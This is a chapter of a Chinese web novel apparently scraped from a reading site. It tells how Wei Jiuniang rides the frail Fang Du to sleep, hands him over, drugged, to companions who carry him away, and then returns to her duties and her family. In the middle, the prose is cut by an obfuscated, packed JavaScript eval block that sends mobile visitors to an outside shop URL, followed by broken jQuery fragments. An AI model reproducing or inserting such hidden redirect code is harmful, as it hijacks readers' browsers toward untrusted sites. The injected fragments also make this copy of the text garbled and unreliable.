文趣网 > 其他小说 > 黄龙厝gb > 16. 长亭
    魏九娘自七岁便会骑马,会骑了便能带人,大小战役运送伤兵无数,早把骑术练出来了。

    方度只觉她那马御得飞快,但并没怎么颠,若非料峭寒风拂面过,方度几度恍惚,还以为是在昨日,是在温水潭。十日时光怎能过得这般快呢?快得像日光融冰雪,像雨后春笋争相竞发,倏地一下,天地皆变了。

    “到了。”魏九娘的声音顶在方度嘴唇边。

    方度自她颈窝里移开脑袋,才知道是回到她家了。不过不是走正门,而是平日常带他回来的小路。魏九娘屋子后门被草木掩映着,这会一个人也没有。

    “你不是要梳头吗?先梳头吧。”魏九娘先下马来,双手扶他落地,上前开了屋门。

    “你屋内有男子发饰?”方度疑惑之际,见魏九娘胳膊挡门,眼神指着屋角一只桃木箱。

    那只箱方度前两日就瞧见了,箱子上没锁,相比不是贵重东西。但他也没打开,因为未得魏九娘允许。

    今日是魏九娘要他去开,他才将箱盖抬起来,里头果真都不是贵重东西,而是几件破衣裳,有男装也有女装,还有小孩玩的拨浪鼓、皮绳弹弓,再往下翻,是几张落了灰的易容面皮,面皮下头,才有了首饰发冠之类……

    方度随手拿起一只冠,汉白玉莲花状,冠身带紫纹,做工十分精致。若非提前知道是山匪窝的东西,方度还以为是京城针工局做的宫里物件。

    “这些都是黄龙山前辈们抢来的。”魏九娘也随他瞧着那些老旧东西,但脑子里回忆居多,“后来为了招安令,爹爹想把它们都烧了。我娘舍不得,就给山上的孩子们分了分。这箱子是我分到的。我那时还不到十岁,拿的玩物居多。你拿的那个冠,我也是后来才知道是给男人戴的。”

    “你挑玩物都能挑到这样的好东西,眼光可是真不差。”方度将那只玉冠打量一会,又放回原处。

    “你不戴?”

    方度摇头,“既是伯母给你留的,你好好留着便是。而且我……平日也不喜欢戴白玉冠。”

    “金银的我可就更没有了。”

    方度笑了,笑她想哪去了,“你有素点的簪子没有,木头的就成。”

    魏九娘走到自己妆奁边,拿了根柳木簪给他,“这样的?”

    “嗯。就这样的。”

    那根柳木簪约一掌长,表面被木匠磨得光亮,通身是晒干的软木素色,只在顶头留有两处将要萌发的暗绿芽苞,盎然生机呼之欲出。

    方度坐到妆台铜镜前,朝魏九娘借了把木梳,慢慢将头发束拢盘起,将柳木簪插上。这回对镜看,整个人利索许多,人显得精神,气质也愈发清雅了。

    他在京城演惯了纸醉金迷名利场,乍一瞧见自己这番模样,还有点不敢信。他原想此生再难从心所欲地做一回自己了,不想死前竟还有这样的机缘。那些心里再隐秘再不堪的事,此时此刻,当着魏九娘的面,好像也不足为道了。

    他自铜镜望九娘,“你可觉得,这样你我更相配了些?”

    魏九娘帮他将簪子扶了扶正,“都戴歪了,还惦记这些呢?”

    方度笑说:“你绕开不答,我可要当真了。”

    二人回马,继续顺小路往前跑。

    这回跑出去有一阵,魏九娘才浅浅泛笑,手指碰了碰自己头上的簪子,想着他们相配吗?

    她头上银簪是特地磨过的,根根锋利,刺入胸膛能要人的命。方度看上的柳木簪却是方身钝头,娇儿揉握都伤不着手。

    若说她锋利如刀,那方度大概是面刀枪不入的盾。挨了整整十天的鞭子,方度都没服过软。

    此番他打定主意要去江浙作死,又是她三言两语就能说服的吗?

    魏九娘把这事想明白了,主意打定,将马又骑快了点。山风吹在二人脸上,方度的头更深地埋过来。

    “方无虞,想好了吗?跑完了马,还想做点什么?”魏九娘轻声地问,呼出的气息温热闹人,跟在方度脸侧亲了一口似的。

    “我想啊……”方度脑子里过了好多事,但都不是大事。譬如同她用一顿饭,瞧瞧她晨起都吃些什么;譬如找个僻静地方再说会话,听听她小时候;再譬如站到祠堂外,拜拜黄龙山的祖宗们……但他太累了,饶是魏九娘的马骑得再稳,也经不住一路的风吹。

    “我想先睡会觉。你下马叫我可好?”方度垂下眼皮。

    “好。你冷不冷?”魏九娘单手松了松大氅,想将盖在自己身上的这部分还给方度。

    但方度手一紧,硬将那大氅更牢地裹住她,“我不冷,就是有点累,还有一点疼。”

    “哪里疼?”魏九娘怕是他心疾犯了,立刻勒住了马。

    但听方度道:“身上疼。你说哪里疼?”

    他说完那话,嘴角含笑,就去会周公了。魏九娘轻唤了两声不应,才慢慢又将马悠起来。

    辰时三刻。

    魏九娘骑马来到十里长亭,一辆马车停在路边,车上跃下两个灰衣包头的男子。

    “大当家!”

    “大当家!”

    “嘘!”魏九娘朝后看了眼方度,示意他们小声,“过来,慢点抱。”

    那二人心领神会,轻手轻脚地将魏九娘背上的方度接下来,像抱瓷瓶似的抱去了马车上。

    魏九娘自己也下马,目光片刻不移地瞧着他们。

    温烟水这才从一旁树林里跟出来,站到了魏九娘身边,小扇一摇,一阵香风吹来,魏九娘不用回头也知道她来了。

    温烟水问:“这骑马溜人的鬼点子,你是怎么想到的?”

    魏九娘眯目,还瞧着马车,“他身子弱,昨夜又没睡,骑马晃荡会也就睡熟了。”

    “一夜没睡你都知道啊……看犯人看得可够细致了。”温烟水纤手摇扇,俏然一笑,“真够辛苦。”

    魏九娘没心思同她玩笑,“路上赶马慢一点,还得留意着王公公的人。迷药也别给他喂太多,够撑到和他师父会合就行。”

    “晓得了。”温烟水直摇头,“好人都给你做尽了。哪回也没见你这般啰嗦过。”

    “有事告我。大事小事都要说一声。”魏九娘算算时间不能耽搁,先一步回到自己马上。

    温烟水也往马车走,扇子合拢,在几根手指间转了个花,最后牢牢一握,朝魏九娘摇了摇,“我当军报给你送还不成?你就等着听八百里加急吧!”

    马车辘辘行远,在软雪地上轧出深痕。

    魏九娘攥紧胸前的玉菩萨,直到那马车完全望不见才朝回走。

    黄龙山上还有挺多事要做。

    刚拜完山头的孩子们第一天练武,魏九娘也跟到校场去。校场搭在山谷空地上,溪涧之水下淌成瀑,瀑布是薄薄的一道水幕,远看仿佛银狐衔尾从天而跃。

    以瀑布为界,上方山路练马,下方的空地练鞭。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695964|207489||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>新来的孩子们还没到使鞭子的时候,十四娘正教他们扎马步。

    看到魏九娘来,一个男声带头喊了句“大当家”,后头此起彼伏又是一串“大当家”。

    十四娘站在最前头朝水里甩了下鞭子,“都集中点,好好练,大当家来了更要好好练。”

    魏九娘从孩子们当中经过,一个又一个纠正着动作。最后挑了两个瞧着没力气的先去休息,又挑了一个七岁的女孩和十五岁的男孩出来,是这批孩子里最有天赋的。女孩年纪尚小,交给霜会带去先摸摸鞭子,男孩被魏九娘叫到一旁来。

    “你叫什么名字?”

    “虞小满。”男孩朗声答完,有些不自在地低下头,摸了摸后脑勺。

    “以前练过武?”

    “哦……嗯……我爹以前是武师,我跟着爹学过一段。后来爹犯事死牢里了,就没再练。”

    魏九娘“嗯”了声,正想着再问问他都学过哪些,好给他安排不同活儿,就听见虞小满身后一片孩子们的起哄声。

    他脸已经红透。眼睛也不敢看她似的,半天才抬了一下,“大当家,你问。”

    “没什么想问了,你先去吧。”魏九娘才想起来他是那天上山同她立誓的孩子。

    虞小满跑回队里,拉开架势练起来。魏九娘粗粗看了眼,默默又往祠堂走。

    她原想给虞小满安排个同鹞子差不多的近身差事,但现在看来是不行了。她想到自己心里装着三哥的那些日子,时不时触景生情,脑子就会迟钝一下。

    少不更事,容易被情所困。不再历练一段,是没法委以重任的。

    以前没渡过情关,她天天想着能渡过去。可如今渡过去了,魏九娘又觉得自己像个铁石心肠、只知道权衡利弊的无情客了。

    方度的离开比她预想的好捱许多。就跟今年突如其来的大雪似的,来时浓闷,太阳一来说化也就化了。

    她还有自己的事要处理,还有自己的生活要过。

    魏九娘忙了一整个上午,正午时分难得在家吃顿安稳饭。秋姑这两日的药喝得不错,今日已经能和大家一块来院里搭桌吃饭。

    魏九娘一直给秋姑夹菜,却瞧她眼睛一个劲朝自己那屋瞥。

    “娘,先吃饭,一会饭凉了您又不吃了。”魏九娘用手在她眼前晃了下。

    秋姑问她:“你那门上,今日怎么不上锁了?”

    “他走了。”魏九娘也低头吃自己的饭,作无事状,“我给他送走了。把他师父也送走了。”

    其实不是送,而是骗。她给方度生生骗走了。

    十娘、十四娘和张岭都停下筷子看她。只有霜会眨巴着大眼睛问:“什么走了,谁走了?”

    十四娘赶紧夹块鱼肉塞住霜会的嘴。

    十娘问:“他走了,王公公那边咱们怎么交代呢?”

    “莫慌。我来想办法。”魏九娘面色如常,带着笑意,“我吃好了,你们慢吃。”

    她起身回了屋,步履沉稳,跟平时没什么两样。但桌上的饭菜却是没怎么动。

    能有什么办法呢?一桌子人都想不出什么稳妥办法来。

    山匪和朝廷对着干的事,哪有办法不冒险的?

    秋姑说:“先吃饭。吃完了给你们大当家把饭菜热热,送她屋里去。银子也提前凑一凑,她若要用银子打点,立刻能用上才行,这时候所有人力气得往一块使,什么也别耽搁。”